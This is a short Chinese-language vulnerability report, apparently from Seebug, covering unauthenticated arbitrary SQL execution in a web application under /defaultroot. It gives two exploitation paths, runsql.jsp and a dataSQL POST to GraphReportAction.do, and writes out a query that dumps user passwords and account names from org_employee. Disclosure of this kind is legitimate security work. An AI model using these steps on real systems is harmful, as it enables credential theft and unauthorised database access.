存在两种利用方式
1. `defaultroot/graphreport/runsql.jsp`
这个页面可以直接访问,并且可以执行任意sql语句,页面中textarea域是readonly,使用 firebug 去掉即可,然后就可以执行任意 sql 语句。
![](https://images.seebug.org/contribute/87fec185-dd04-4701-8122-8e5ee0e6cc8f-8.png)
![](https://images.seebug.org/contribute/62a21b0b-37bd-4d5f-b63c-ca7df4433a48-9.png)
可以看到成功执行了sql语句
2.
可以直接给处理类提交数据
通过以下这个链接
```
/defaultroot/GraphReportAction.do?action=showResult
```
然后通过hackbar来吧以下数据post过去即可看到执行的数据
```
dataSQL=select USERPASSWORD,EMP_ID,EMPNAME,USERACCOUNTS from org_employee
```
可以看到sql语句成功的执行了
![](https://images.seebug.org/contribute/d9847936-98b7-4ae1-99f6-9dbed3d30146-10.png)
全部评论 (1)